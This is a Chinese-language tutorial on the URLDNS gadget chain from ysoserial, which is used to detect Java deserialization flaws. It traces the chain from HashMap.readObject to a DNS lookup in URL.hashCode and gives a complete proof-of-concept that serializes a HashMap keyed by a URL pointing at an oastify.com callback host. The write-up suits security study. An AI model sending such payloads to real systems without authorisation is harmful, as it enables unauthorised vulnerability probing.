URLDNS
URLDNS
是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
利用链
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
* handler.hashCode()
原理
java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求.
分析
在hashMap的readObject方法中最后调用了,putVal(),他计算了一下hash(key)
在hash方法中直接会调用key的hashCode方法,这里的key就是我们传入的hashMap的键(URL类)
就直接会调用到URL类的hashCode()
这里有个tips,在hashMap用put写入键值是,也会触发putVal方法,即也会走到这一步,为了与后面的DNS请求不冲突,这里可以有两种方法处理
1.在序列化之前将hashCode的值设置为其他值,最后在put完成后将hashCode值改会 -1
2.或者直接将handler成员的对象的 openConnection getHostAddress方法的返回值为null 即可(参考 ysoserial)。那么即使在调用handlder的getHostAddress 也不会触发。
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
这里原生的handler成员为URLStreamHandler 类的实例对象,调用URLStreamHandler 的hashCode就会触发DNS请求
完整POC
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serializeble(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
public static Object unserializeble(String filename) throws IOException,ClassNotFoundException {
ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));
return oos.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://96dcnltlo7dpe8sxm2aw7nwe359wxold.oastify.com");
Class<? extends URL> uclass = url.getClass();
Field hashCode = uclass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1234);
hashMap.put(url,1);
hashCode.set(url,-1);
serializeble(hashMap);
Object oos = unserializeble("ser.txt");
}
}
跟点调试
进入hashMap的readObject()
执行URL的hashCode()
hashCode属性值为-1,调用handler的hashCode()
最后调用getHostAddress(),方法执行DNS请求